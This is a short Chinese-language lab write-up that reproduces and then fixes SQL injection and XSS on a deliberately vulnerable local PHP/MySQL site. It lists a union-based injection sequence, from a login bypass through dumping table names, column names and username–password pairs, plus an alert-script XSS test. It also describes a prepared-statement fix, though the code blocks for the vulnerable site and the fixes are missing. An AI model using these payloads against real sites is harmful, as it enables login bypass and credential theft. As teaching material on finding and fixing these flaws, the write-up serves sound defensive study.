SQL注入、XSS漏洞简单复现与修复

SQL注入

复现

环境:

Apache  2.4.39
MySQL  5.0.96
PHP  5.5.9

代码:

Connect.php用于连接已有的数据库

简陋的sql漏洞网站就搭成了

抓包进行post传参,检测是否存在漏洞

验证

username= 1' or 1>0#&password=1,成功登入,说明存在注入漏洞

username=Dumb'order by 3#&password=Dumb,三个注入点

username=1' union select 1,2,3#&password=1,回显点为2,3

username=1' union select 1,2,database()#&password=1,查库

username=1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()limit 0,1#&password=1,查表

username=1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'limit 0,1#&password=1,查列

username=1' union select 1,2,group_concat(concat_ws('-',username,password)) from security.users#&password=1,查字段

修复

采用预编译的方式修复sql漏洞

代码:


简陋的slq漏洞修复网站搭成了
)

验证

输入正确的账号和密码username=Dumb&password=Dumb回显正常

输入万能密码username=1' or 1>0#&password=Dumb,失败

联合注入username=1'union select 1,2,3#&password=Dumb,失败

Sql注入防御成功

XSS漏洞

复现

环境:

Apache  2.4.39
MySQL  5.0.96
PHP  5.5.9

代码:

简陋的xss漏洞网站搭成了

验证

输入xss

输入<script>alert('xss')</script>,存在xss漏洞

修复

基于原漏洞文件,作如下修改即可

输入<script>alert('xss')</script>,xss攻击失败